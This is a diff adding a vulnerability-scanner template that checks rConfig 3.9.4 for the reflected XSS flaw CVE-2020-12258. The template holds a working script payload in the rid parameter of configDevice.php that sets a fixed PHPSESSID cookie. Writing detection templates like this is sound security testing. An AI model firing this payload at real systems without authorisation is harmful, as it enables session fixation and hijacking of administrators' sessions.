diff --git a/cves/2020/CVE-2020-12258.yaml b/cves/2020/CVE-2020-12258.yaml
new file mode 100644
index 0000000000..094fac6275
--- /dev/null
+++ b/cves/2020/CVE-2020-12258.yaml
@@ -0,0 +1,26 @@
+id: CVE-2020-12258
+
+info:
+  name: rConfig 3.9.4 XSS
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-12258
+  tags: cve,cve2020,rconfig,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/configDevice.php?rid="><script>document.cookie="PHPSESSID=123456789"</script>'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>document.cookie="PHPSESSID=123456789"</script>"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200